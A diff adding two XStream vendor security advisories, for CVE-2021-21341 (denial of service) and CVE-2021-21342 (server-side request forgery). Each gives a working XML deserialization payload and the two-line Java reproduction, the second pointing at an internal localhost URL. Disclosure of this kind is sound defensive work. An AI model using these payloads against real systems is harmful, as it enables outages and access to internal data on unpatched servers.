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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,89 @@ | ||
| <html> | ||
| <!-- | ||
| Copyright (C) 2021 XStream committers. | ||
| All rights reserved. | ||
| The software in this package is published under the terms of the BSD | ||
| style license a copy of which has been included with this distribution in | ||
| the LICENSE.txt file. | ||
| Created on 10. January 2021 by Joerg Schaible | ||
| --> | ||
| <head> | ||
| <title>CVE-2021-21341</title> | ||
| </head> | ||
| <body> | ||
|
|
||
| <h2 id="vulnerability">Vulnerability</h2> | ||
|
|
||
| <p>CVE-2021-21341: XStream can cause a Denial of Service.</p> | ||
|
|
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| <h2 id="affected_versions">Affected Versions</h2> | ||
|
|
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| <p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is | ||
| affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security | ||
| framework</a> with a whitelist limited to the minimal required types.</p> | ||
|
|
||
| <h2 id="description">Description</h2> | ||
|
|
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| <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. | ||
| XStream creates therefore new instances based on these type information. An attacker can manipulate the processed | ||
| input stream and replace or inject a manipulated ByteArrayInputStream (or derived class), that can cause an endless | ||
| loop resulting in a denial of service.</p> | ||
|
|
||
| <h2 id="reproduction">Steps to Reproduce</h2> | ||
|
|
||
| <p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and | ||
| unmarshal it again with XStream:</p> | ||
| <div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> | ||
| <unserializable-parents/> | ||
| <java.util.PriorityQueue> | ||
| <default> | ||
| <size>2</size> | ||
| <comparator class='javafx.collections.ObservableList$1'/> | ||
| </default> | ||
| <int>3</int> | ||
| <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> | ||
| <dataHandler> | ||
| <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> | ||
| <is class='java.io.ByteArrayInputStream'> | ||
| <buf></buf> | ||
| <pos>-2147483648</pos> | ||
| <mark>0</mark> | ||
| <count>0</count> | ||
| </is> | ||
| <consumed>false</consumed> | ||
| </dataSource> | ||
| <transferFlavors/> | ||
| </dataHandler> | ||
| <dataLen>0</dataLen> | ||
| </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> | ||
| <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> | ||
| </java.util.PriorityQueue> | ||
| </java.util.PriorityQueue> | ||
| </pre></div> | ||
| <div class="Source Java"><pre>XStream xstream = new XStream(); | ||
| xstream.fromXML(xml); | ||
| </pre></div> | ||
|
|
||
| <p>As soon as the XML gets unmarshalled, the an endless loop is entered and the executing thread consumes maximum | ||
| CPU time and will never return.</p> | ||
|
|
||
| <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> | ||
|
|
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| <h2 id="impact">Impact</h2> | ||
|
|
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| <p>The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU | ||
| type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed | ||
| input stream.</p> | ||
|
|
||
| <h2 id="workarounds">Workarounds</h2> | ||
|
|
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| <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> | ||
|
|
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| <h2 id="credits">Credits</h2> | ||
|
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| <p>The vulnerability was discovered and reported by threedr3am.</p> | ||
|
|
||
| </body> | ||
| </html> |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,83 @@ | ||
| <html> | ||
| <!-- | ||
| Copyright (C) 2021 XStream committers. | ||
| All rights reserved. | ||
| The software in this package is published under the terms of the BSD | ||
| style license a copy of which has been included with this distribution in | ||
| the LICENSE.txt file. | ||
| Created on 12. January 2021 by Joerg Schaible | ||
| --> | ||
| <head> | ||
| <title>CVE-2021-21342</title> | ||
| </head> | ||
| <body> | ||
|
|
||
| <h2 id="vulnerability">Vulnerability</h2> | ||
|
|
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| <p>CVE-2021-21342: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams | ||
| from an arbitrary URL referencing a resource in an intranet or the local host.</p> | ||
|
|
||
| <h2 id="affected_versions">Affected Versions</h2> | ||
|
|
||
| <p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is | ||
| affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security | ||
| framework</a> with a whitelist limited to the minimal required types.</p> | ||
|
|
||
| <h2 id="description">Description</h2> | ||
|
|
||
| <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. | ||
| XStream creates therefore new instances based on these type information. An attacker can manipulate the processed | ||
| input stream and replace or inject objects, that result in a server-side forgery request.</p> | ||
|
|
||
| <h2 id="reproduction">Steps to Reproduce</h2> | ||
|
|
||
| <p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and | ||
| unmarshal it again with XStream:</p> | ||
| <div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> | ||
| <unserializable-parents/> | ||
| <java.util.PriorityQueue> | ||
| <default> | ||
| <size>2</size> | ||
| <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> | ||
| <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> | ||
| <packet> | ||
| <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> | ||
| <dataSource class='javax.activation.URLDataSource'> | ||
| <url>http://localhost:8080/internal/:</url> | ||
| </dataSource> | ||
| </message> | ||
| </packet> | ||
| </indexMap> | ||
| </comparator> | ||
| </default> | ||
| <int>3</int> | ||
| <string>javax.xml.ws.binding.attachments.inbound</string> | ||
| <string>javax.xml.ws.binding.attachments.inbound</string> | ||
| </java.util.PriorityQueue> | ||
| </java.util.PriorityQueue> | ||
| </pre></div> | ||
| <div class="Source Java"><pre>XStream xstream = new XStream(); | ||
| xstream.fromXML(xml); | ||
| </pre></div> | ||
|
|
||
| <p>As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.</p> | ||
|
|
||
| <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> | ||
|
|
||
| <h2 id="impact">Impact</h2> | ||
|
|
||
| <p>The vulnerability may allow a remote attacker to request data from internal resources that are not publicly | ||
| available only by manipulating the processed input stream.</p> | ||
|
|
||
| <h2 id="workarounds">Workarounds</h2> | ||
|
|
||
| <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> | ||
|
|
||
| <h2 id="credits">Credits</h2> | ||
|
|
||
| <p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p> | ||
|
|
||
| </body> | ||
| </html> |
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